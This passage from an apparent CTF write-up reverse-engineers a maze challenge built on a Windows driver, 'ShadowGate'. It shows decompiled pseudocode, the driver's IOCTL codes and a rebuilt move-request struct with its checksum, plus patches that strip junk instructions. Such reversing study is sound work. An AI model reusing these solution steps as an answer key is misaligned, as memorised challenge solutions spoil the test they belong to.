52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moav6cm6ura"><span leaf=""><span class="code-snippet__keyword">if</span> ( QueryMaza(v6, &amp;v9) )</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">printf</span>(</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">&#34;[*] Maze grid: %ux%u, Entry=(%u,%u), Exit=(%u,%u)\n&#34;</span>,</span><span leaf=""><br/></span><span leaf="">        (_DWORD)v9,</span><span leaf=""><br/></span><span leaf="">        DWORD1(v9),</span><span leaf=""><br/></span><span leaf="">        DWORD2(v9),</span><span leaf=""><br/></span><span leaf="">        HIDWORD(v9),</span><span leaf=""><br/></span><span leaf="">        v1<span class="code-snippet__number">0</span>,</span><span leaf=""><br/></span><span leaf="">        HIDWORD(v1<span class="code-snippet__number">0</span>));</span><span leaf=""><br/></span><span leaf="">BOOL __fastcall QueryMaza(__int64 a1, void *lpOutBuffer)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">  DWORD BytesReturned; </span><span leaf="">//</span><span leaf=""> [rsp+<span class="code-snippet__number">40</span>h] [rbp-<span class="code-snippet__number">18</span>h] BYREF</span><span leaf=""><br/></span><span leaf="">  BytesReturned = <span class="code-snippet__number">0</span>;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> DeviceIoControl(hDevice, <span class="code-snippet__number">0x8001200C</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, lpOutBuffer, <span class="code-snippet__number">0x18</span>u, &amp;BytesReturned, <span class="code-snippet__number">0</span>);</span><span leaf=""><br/></span><span leaf="">}</span></code></pre></p><p><span mpa-font-style="moav6cm61pxj" style="font-size: 15px;"><span leaf="">显然</span><strong><span leaf="">0x8001200C</span></strong><span leaf="">用于查询迷宫信息，接下来就能发现</span><strong><span leaf="">main</span></strong><span leaf="">函数有大量的花指令了，因为正常的</span><strong><span leaf="">R</span></strong><span leaf="">等逻辑的处理代码都不存在。</span></span></p><p><span leaf="" mpa-font-style="moav6cm612a6" style="font-size: 15px;">只需要把：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moav6cm61a8h"><span leaf=""><span class="code-snippet__keyword">push</span> rcx</span><span leaf=""><br/></span><span leaf="">ret</span></code></pre></p><p><span leaf="" mpa-font-style="moav6cm61ivo" style="font-size: 15px;">改为：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moav6cm619sc"><span leaf="">jmp rcx</span></code></pre></p><p><span leaf="" mpa-font-style="moav6cm615fp" style="font-size: 15px;">伪代码就重建好了，然后依旧是出题人的小礼物啊：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moav6cm6sy0"><span leaf="">v8 -= <span class="code-snippet__number">27</span>;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">switch</span> ( v8 )</span></code></pre></p><p><span mpa-font-style="moav6cm6o0x" style="font-size: 15px;"><span leaf="">这里会有垂落，处理的是大小写</span><strong><span leaf="">R</span></strong><span leaf="">的情况：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moav6cm614ja"><span leaf=""><span class="code-snippet__keyword">case</span> <span class="code-snippet__string">&#39;7&#39;</span>:</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">case</span> <span class="code-snippet__string">&#39;W&#39;</span>:</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">ResetMaze</span>(_RCX);</span><span leaf=""><br/></span><span leaf="">     v6 = <span class="code-snippet__number">0</span>;</span><span leaf=""><br/></span><span leaf="">     dword_140005668 = <span class="code-snippet__number">0</span>;</span><span leaf=""><br/></span><span leaf="">     v22[<span class="code-snippet__number">0</span>] = <span class="code-snippet__number">0</span>;</span><span leaf=""><br/></span><span leaf="">     v7 = <span class="code-snippet__number">0</span>;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">printf</span>(<span class="code-snippet__string">&#34;[*] Reset to entry point.\n&#34;</span>);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">continue</span>;</span><span leaf=""><br/></span><span leaf="">BOOL <span class="code-snippet__title">ResetMaze</span><span class="code-snippet__params">()</span></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">  DWORD BytesReturned; <span class="code-snippet__comment">// [rsp+40h] [rbp-18h] BYREF</span></span><span leaf=""><br/></span><span leaf="">  BytesReturned = <span class="code-snippet__number">0</span>;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__built_in">DeviceIoControl</span>(hDevice, <span class="code-snippet__number">0x80012008</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, &amp;BytesReturned, <span class="code-snippet__number">0</span>);</span><span leaf=""><br/></span><span leaf="">}</span></code></pre></p><p><span mpa-font-style="moav6cm61v2c" style="font-size: 15px;"><span leaf="">显然</span><strong><span leaf="">0x80012008</span></strong><span leaf="">用于重新开始，那剩下的操作码肯定是操作迷宫了的。</span></span></p><div><p><table style="min-width: 50px;"><thead><tr><th style="border: 1px solid;padding: 0.2rem 1.5rem;"><p><span leaf="" mpa-font-style="moav6cm619gt" style="font-size: 15px;">IOCTL</span></p></th><th style="border: 1px solid;padding: 0.2rem 1.5rem;"><p><span leaf="" mpa-font-style="moav6cm61sr3" style="font-size: 15px;">作用</span></p></th></tr></thead><tbody><tr><td style="border: 1px solid;padding: 0.2rem 1.5rem;font-size: 15px;"><p><span leaf="" mpa-font-style="moav6cm6bs8" style="font-size: 15px;">0x80012004</span></p></td><td style="border: 1px solid;padding: 0.2rem 1.5rem;font-size: 15px;"><p><span leaf="" mpa-font-style="moav6cm612v" style="font-size: 15px;">移动/核心交互</span></p></td></tr><tr><td style="border: 1px solid;padding: 0.2rem 1.5rem;font-size: 15px;"><p><span leaf="" mpa-font-style="moav6cm6kwp" style="font-size: 15px;">0x80012008</span></p></td><td style="border: 1px solid;padding: 0.2rem 1.5rem;font-size: 15px;"><p><span leaf="" mpa-font-style="moav6cm61j9i" style="font-size: 15px;">重置到起点</span></p></td></tr><tr><td style="border: 1px solid;padding: 0.2rem 1.5rem;font-size: 15px;"><p><span leaf="" mpa-font-style="moav6cm610mj" style="font-size: 15px;">0x8001200C</span></p></td><td style="border: 1px solid;padding: 0.2rem 1.5rem;font-size: 15px;"><p><span leaf="" mpa-font-style="moav6cm61efz" style="font-size: 15px;">查询迷宫信息</span></p></td></tr></tbody></table></p></div><p><span leaf="" mpa-font-style="moav6cm631f" style="font-size: 15px;">紧接着还要详细分析，相关的按键被映射为了十六进制整数，如下：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moav6cm6aio"><span leaf=""><span class="code-snippet__keyword">case</span> <span class="code-snippet__string">&#39;&amp;&#39;</span>:</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">case</span> <span class="code-snippet__string">&#39;/&#39;</span>:</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">case</span> <span class="code-snippet__string">&#39;F&#39;</span>:</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">case</span> <span class="code-snippet__string">&#39;O&#39;</span>:</span><span leaf=""><br/></span><span leaf="">        LOBYTE(direct) = <span class="code-snippet__number">0x30</span>; <span class="code-snippet__comment">//A  J</span></span><span leaf=""><br/></span><span leaf="">        v12 = <span class="code-snippet__number">76</span>;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">goto</span> LABEL_11;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">case</span> <span class="code-snippet__string">&#39;)&#39;</span>:</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">case</span> <span class="code-snippet__string">&#39;1&#39;</span>:</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">case</span> <span class="code-snippet__string">&#39;I&#39;</span>:</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">case</span> <span class="code-snippet__string">&#39;Q&#39;</span>:</span><span leaf=""><br/></span><span leaf="">        LOBYTE(direct) = <span class="code-snippet__number">0x40</span>;<span class="code-snippet__comment">// D  L</span></span><span leaf=""><br/></span><span leaf="">        __<span class="code-snippet__keyword">asm</span> { rcl     al, cl }</span><span leaf=""><br/></span><span leaf="">        v12 = <span class="code-snippet__number">82</span>;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">goto</span> LABEL_11;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">case</span> <span class="code-snippet__string">&#39;.&#39;</span>:</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">case</span> <span class="code-snippet__string">&#39;&lt;&#39;</span>:</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">case</span> <span class="code-snippet__string">&#39;N&#39;</span>:</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">case</span> <span class="code-snippet__string">&#39;\\&#39;</span>:</span><span leaf=""><br/></span><span leaf="">        LOBYTE(direct) = <span class="code-snippet__number">0x10</span>; <span class="code-snippet__comment">//W  I </span></span><span leaf=""><br/></span><span leaf="">        v12 = <span class="code-snippet__number">85</span>;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">goto</span> LABEL_11;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">case</span> <span class="code-snippet__string">&#39;0&#39;</span>:</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">case</span> <span class="code-snippet__string">&#39;8&#39;</span>:</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">case</span> <span class="code-snippet__string">&#39;P&#39;</span>:</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">case</span> <span class="code-snippet__string">&#39;X&#39;</span>:</span><span leaf=""><br/></span><span leaf="">        LOBYTE(direct) = <span class="code-snippet__number">0x20</span>; <span class="code-snippet__comment">// S   K </span></span><span leaf=""><br/></span><span leaf="">        v12 = <span class="code-snippet__number">68</span>;</span><span leaf=""><br/></span><span leaf="">LABEL_11:</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> ( v6 &lt; <span class="code-snippet__number">255</span> )</span><span leaf=""><br/></span><span leaf="">        {</span><span leaf=""><br/></span><span leaf="">          v22[v7] = v12;</span><span leaf=""><br/></span><span leaf="">          ++v6;</span><span leaf=""><br/></span><span leaf="">          ++v7;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> ( (</span><span leaf="">unsigned</span><span leaf="">int</span><span leaf="">)v6 &gt;= <span class="code-snippet__number">0x100</span> )</span><span leaf=""><br/></span><span leaf="">            sub_140001E88(_RCX, direct);</span><span leaf=""><br/></span><span leaf="">          v22[v7] = <span class="code-snippet__number">0</span>;</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">        v14 = (</span><span leaf="">unsigned</span><span leaf="">int</span><span leaf="">)dword_140005668;</span><span leaf=""><br/></span><span leaf="">        memset(v21, <span class="code-snippet__number">0</span>, <span class="code-snippet__keyword">sizeof</span>(v21));</span><span leaf=""><br/></span><span leaf="">        v18 = <span class="code-snippet__number">0</span>;</span><span leaf=""><br/></span><span leaf="">        ++dword_140005668;</span><span leaf=""><br/></span><span leaf="">        v15 = TryMove(hDevice, direct, v14, v21, &amp;v18);</span></code></pre></p><p><span mpa-font-style="moav6cm61n1h" style="font-size: 15px;"><strong><span leaf="">TryMove</span></strong><span leaf="">对于路径的打包如下：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moav6cm6a0"><span leaf="">__int64 v16;</span><span leaf=""><br/></span><span leaf="">unsigned</span><span leaf="">int</span><span leaf=""> v17;</span><span leaf=""><br/></span><span leaf="">v16 = (</span><span leaf="">unsigned</span><span leaf=""> __int8)v9; <span class="code-snippet__comment">//只用了第一字节？</span></span><span leaf=""><br/></span><span leaf="">v17 = a3 ^ v9 ^ <span class="code-snippet__number">0xDEAD1337</span>;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">DeviceIoControl</span>(a1, <span class="code-snippet__number">0x80012004</span>, &amp;v16, <span class="code-snippet__number">0xC</span>u, v14, <span class="code-snippet__number">0x84</span>u, &amp;v15, <span class="code-snippet__number">0</span>) <span class="code-snippet__comment">//12字节大小数据包 从v16开始写入</span></span></code></pre></p><p><span leaf="" mpa-font-style="moav6cm61vxi" style="font-size: 15px;">其中，具体的加密逻辑是这样：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moav6cm65h0"><span leaf="">__int64 __fastcall <span class="code-snippet__title">TryMove</span><span class="code-snippet__params">(</span></span><span leaf=""><span class="code-snippet__params">void</span></span><span leaf=""><span class="code-snippet__params"> *a1, __int64 _RDX, </span></span><span leaf=""><span class="code-snippet__params">int</span></span><span leaf=""><span class="code-snippet__params"> op_count, _BYTE *a4, _DWORD *a5)</span></span><span leaf="">{</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">//rdx是代表方向的十六进制整数 op_count是一个计数器，代表次数</span></span><span leaf=""><br/></span><span leaf="">    v6 = _RDX ^ <span class="code-snippet__number">0xFA</span>;</span><span leaf=""><br/></span><span leaf="">    v9 = (</span><span leaf="">unsigned</span><span leaf=""> __int8)(_RDX | (<span class="code-snippet__number">8</span> * v6));</span><span leaf=""><br/></span><span leaf="">    v16 = (</span><span leaf="">unsigned</span><span leaf=""> __int8)v9; <span class="code-snippet__comment">//结构体开始</span></span><span leaf=""><br/></span><span leaf="">    v17 = op_count ^ v9 ^ <span class="code-snippet__number">0xDEAD1337</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> ( <span class="code-snippet__built_in">DeviceIoControl</span>(a1, <span class="code-snippet__number">0x80012004</span>, &amp;v16, <span class="code-snippet__number">0xC</span>u, v14, <span class="code-snippet__number">0x84</span>u, &amp;v15, <span class="code-snippet__number">0</span>) )</span><span leaf=""><br/></span><span leaf="">        ...</span><span leaf=""><br/></span><span leaf="">}</span></code></pre></p><p><span mpa-font-style="moav6cm6a95" style="font-size: 15px;"><span leaf="">足够我们重建结构体了，但是伪代码有一个问题，驱动如何校验</span><strong><span leaf="">v17</span></strong><span leaf="">的正确性呢？切换到汇编，根据</span><strong><span leaf="">DeviceIoControl</span></strong><span leaf="">的参数可以知道。</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moav6cm61x8i"><span leaf="">lea     r8, </span><span leaf="">[r11-30h]</span><span leaf="">   ; lpInBuffer</span></code></pre></p><p><span mpa-font-style="moav6cm698x" style="font-size: 15px;"><span leaf="">然后看汇编层面是如何写入</span><strong><span leaf="">[r11-30h]</span></strong><span leaf="">的：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moav6cm61sa0"><span leaf="">mov     </span><span leaf="">[r11-30h]</span><span leaf="">, al</span><span leaf=""><br/></span><span leaf="">mov     </span><span leaf="">[r11-2Ch]</span><span leaf="">, r8d</span><span leaf=""><br/></span><span leaf="">mov     </span><span leaf="">[r11-28h]</span><span leaf="">, eax</span></code></pre></p><p><span mpa-font-style="moav6cm6wb3" style="font-size: 15px;"><span leaf="">统一成</span><strong><span leaf="">buf</span></strong><span leaf="">的偏移就是：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moav6cm622my"><span leaf="">[buf+<span class="code-snippet__number">0</span>] 写入 <span class="code-snippet__number">1</span> 字节</span><span leaf=""><br/></span><span leaf="">[buf+<span class="code-snippet__number">4</span>] 写入 <span class="code-snippet__number">4</span> 字节</span><span leaf=""><br/></span><span leaf="">[buf+<span class="code-snippet__number">8</span>] 写入 <span class="code-snippet__number">4</span> 字节</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">struct</span> {</span><span leaf=""><br/></span><span leaf="">uint8_t</span><span leaf="">  field0;</span><span leaf=""><br/></span><span leaf="">uint8_t</span><span leaf="">  pad[<span class="code-snippet__number">3</span>];</span><span leaf=""><br/></span><span leaf="">uint32_t</span><span leaf=""> field4;</span><span leaf=""><br/></span><span leaf="">uint32_t</span><span leaf=""> field8;</span><span leaf=""><br/></span><span leaf="">};</span></code></pre></p><p><span leaf="" mpa-font-style="moav6cm6nmf" style="font-size: 15px;">也就能重建结构体为：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moav6cm617vm"><span leaf=""><span class="code-snippet__keyword">typedef</span> <span class="code-snippet__keyword">struct</span> <span class="code-snippet__title">_MOVE_REQ</span> {</span><span leaf=""><br/></span><span leaf="">uint8_t</span><span leaf="">  encoded_dir; <span class="code-snippet__comment">//映射为了十六进制整数</span></span><span leaf=""><br/></span><span leaf="">uint8_t</span><span leaf="">  pad[<span class="code-snippet__number">3</span>];      <span class="code-snippet__comment">//数据对齐</span></span><span leaf=""><br/></span><span leaf="">uint32_t</span><span leaf=""> op_count;    <span class="code-snippet__comment">//操作次数</span></span><span leaf=""><br/></span><span leaf="">uint32_t</span><span leaf=""> checksum;    <span class="code-snippet__comment">//校验点</span></span><span leaf=""><br/></span><span leaf=""> } MOVE_REQ; <span class="code-snippet__comment">//一共12字节</span></span></code></pre></p><p><span mpa-font-style="moav6cm61yrn" style="font-size: 15px;"><span leaf="">接下来是输入</span><strong><span leaf="">T</span></strong><span leaf="">的问题：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moav6cm611dw"><span leaf=""><span class="code-snippet__keyword">case</span> <span class="code-snippet__string">&#39;9&#39;</span>:</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">case</span> <span class="code-snippet__string">&#39;Y&#39;</span>:</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">sub_140001010</span>(asc_1400038E0, (</span><span leaf="">unsigned</span><span leaf="">int</span><span leaf="">)v6);</span><span leaf=""><br/></span><span leaf="">      v17 = v22;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> ( v6 &lt;= <span class="code-snippet__number">0</span> )</span><span leaf=""><br/></span><span leaf="">        v17 = <span class="code-snippet__string">&#34;(none)&#34;</span>;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">sub_140001010</span>(asc_140003908, v17);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">continue</span>;</span></code></pre></p><p><span mpa-font-style="moav6cm61m0" style="font-size: 15px;"><span leaf="">命令 T的作用并不是显示当前位置，而是输出应用层维护的成功移动日志。主循环中，每当一次移动被认为成功时，程序都会将对应方向字符</span><strong><span leaf="">L R U D</span></strong><span leaf="">追加到缓冲区 v22 中,而 T/t分支则负责打印当前操作计数及该字符串,也就是这里只能打印成功的路径。</span></span></p><p><span leaf="" mpa-font-style="moav6cm61zi6" style="font-size: 15px;">先玩一下，也就是可以借助前五个正确路径找到五个泄漏点，因为提到了前五次成功顺次泄露，会在后边起关键作用。</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moav6cm6u43"><span leaf="">- D D D D D T</span><span leaf=""><br/></span><span leaf="">程序输出：</span><span leaf=""><br/></span><span leaf="">- Sequence: RRRRR</span></code></pre></p><h2 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moav6cm61rnp" style="font-size: 15px;"><span leaf="">三、驱动层：ShadowGateSys.sys</span></span></h2><p><span mpa-font-style="moav6cm61ddx" style="font-size: 15px;"><span leaf="">也是见到没有壳子轻松达到</span><strong><span leaf="">4 MB</span></strong><span leaf="">的驱动文件了，混淆或者花指令估计是跑不了了，先迎接出题人的小礼物，重建</span><strong><span leaf="">sub_140003208：</span></strong></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moav6cm6nh4"><span leaf=""><span class="code-snippet__number">0x140003244</span>  <span class="code-snippet__built_in">call</span> sub_1400018A0</span></code></pre></p><p><span mpa-font-style="moav6cm620hr" style="font-size: 15px;"><strong><span leaf="">patch</span></strong><span leaf="">为：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moav6cm61b7r"><span leaf="">mov eax, 0</span></code></pre></p><p><span leaf="" mpa-font-style="moav6cm61uqz" style="font-size: 15px;">伪代码重建成功：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moav6cm615g5"><span leaf="">__int64 __fastcall <span class="code-snippet__title">sub_140003208</span><span class="code-snippet__params">(</span><span class="code-snippet__params"><span class="code-snippet__keyword">struct</span></span><span class="code-snippet__params"> _DRIVER_OBJECT *a1)</span></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">  NTSTATUS v3; <span class="code-snippet__comment">// eax</span></span><span leaf=""><br/></span><span leaf="">  NTSTATUS v4; <span class="code-snippet__comment">// edi</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">struct</span> <span class="code-snippet__title">_UNICODE_STRING</span> DestinationString; <span class="code-snippet__comment">// [rsp+40h] [rbp-18h] BYREF</span></span><span leaf=""><br/></span><span leaf="">  P = (PVOID)<span class="code-snippet__built_in">ExAllocatePool2</span>(<span class="code-snippet__number">64</span>, <span class="code-snippet__number">472</span>, <span class="code-snippet__number">1702519117</span>);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> ( !P )</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__number">3221225626LL</span>;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">KeInitializeSpinLock</span>(&amp;SpinLock);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">KeInitializeSpinLock</span>(&amp;qword_1400050D0);</span><span leaf=""><br/></span><span leaf="">  ((<span class="code-snippet__built_in">void</span> (*)(</span><span leaf="">void</span><span leaf="">))loc_140001E60)();</span><span leaf=""><br/></span><span leaf="">  DestinationString = <span class="code-snippet__number">0</span>;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">RtlInitUnicodeString</span>(&amp;DestinationString, <span class="code-snippet__string">L&#34;\\Device\\ShadowGate&#34;</span>);</span><span leaf=""><br/></span><span leaf="">  v3 = <span class="code-snippet__built_in">IoCreateDevice</span>(a1, <span class="code-snippet__number">0</span>, &amp;DestinationString, <span class="code-snippet__number">0x22</span>u, <span class="code-snippet__number">0x100</span>u, <span class="code-snippet__number">0</span>, &amp;DeviceObject);</span><span leaf=""><br/></span><span leaf="">  v4 = v3;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> ( v3 &lt; <span class="code-snippet__number">0</span> )</span><span leaf=""><br/></span><span leaf="">  {</span><span leaf=""><br/></span><span leaf="">    _mm_lfence();</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">ExFreePoolWithTag</span>(P, <span class="code-snippet__number">0x657A614D</span>u);</span><span leaf=""><br/></span><span leaf="">LABEL_5:</span><span leaf=""><br/></span><span leaf="">    P = <span class="code-snippet__number">0</span>;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> (</span><span leaf="">unsigned</span><span leaf="">int</span><span leaf="">)v4;</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">RtlInitUnicodeString</span>(&amp;SymbolicLinkName, <span class="code-snippet__string">L&#34;\\??\\ShadowGate&#34;</span>);</span><span leaf=""><br/></span><span leaf="">  v4 = <span class="code-snippet__built_in">IoCreateSymbolicLink</span>(&amp;SymbolicLinkName, &amp;DestinationString);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> ( v4 &lt; <span class="code-snippet__number">0</span> )</span><span leaf=""><br/></span><span leaf="">  {</span><span leaf=""><br/></span><span leaf="">    _mm_lfence();</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">IoDeleteDevice</span>(DeviceObject);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">ExFreePoolWithTag</span>(P, <span class="code-snippet__number">0x657A614D</span>u);</span><span leaf=""><br/></span><span leaf="">    DeviceObject = <span class="code-snippet__number">0</span>;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">goto</span> LABEL_5;</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span leaf="">  a1-&gt;DriverUnload = (PDRIVER_UNLOAD)sub_140001840;</span><span leaf=""><br/></span><span leaf="">  a1-&gt;MajorFunction[<span class="code-snippet__number">0</span>] = (PDRIVER_DISPATCH)sub_1400014B0;</span><span leaf=""><br/></span><span leaf="">  a1-&gt;MajorFunction[<span class="code-snippet__number">2</span>] = (PDRIVER_DISPATCH)sub_140001410;</span><span leaf=""><br/></span><span leaf="">  a1-&gt;MajorFunction[<span class="code-snippet__number">14</span>] = (PDRIVER_DISPATCH)sub_140001540;</span><span leaf=""><br/></span><span leaf="">  DeviceObject-&gt;Flags |= <span class="code-snippet__number">4u</span>;</span><span leaf=""><br/></span><span leaf="">  DeviceObject-&gt;Flags &amp;= ~<span class="code-snippet__number">0x80</span>u;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__number">0</span>;</span><span leaf=""><br/></span><span 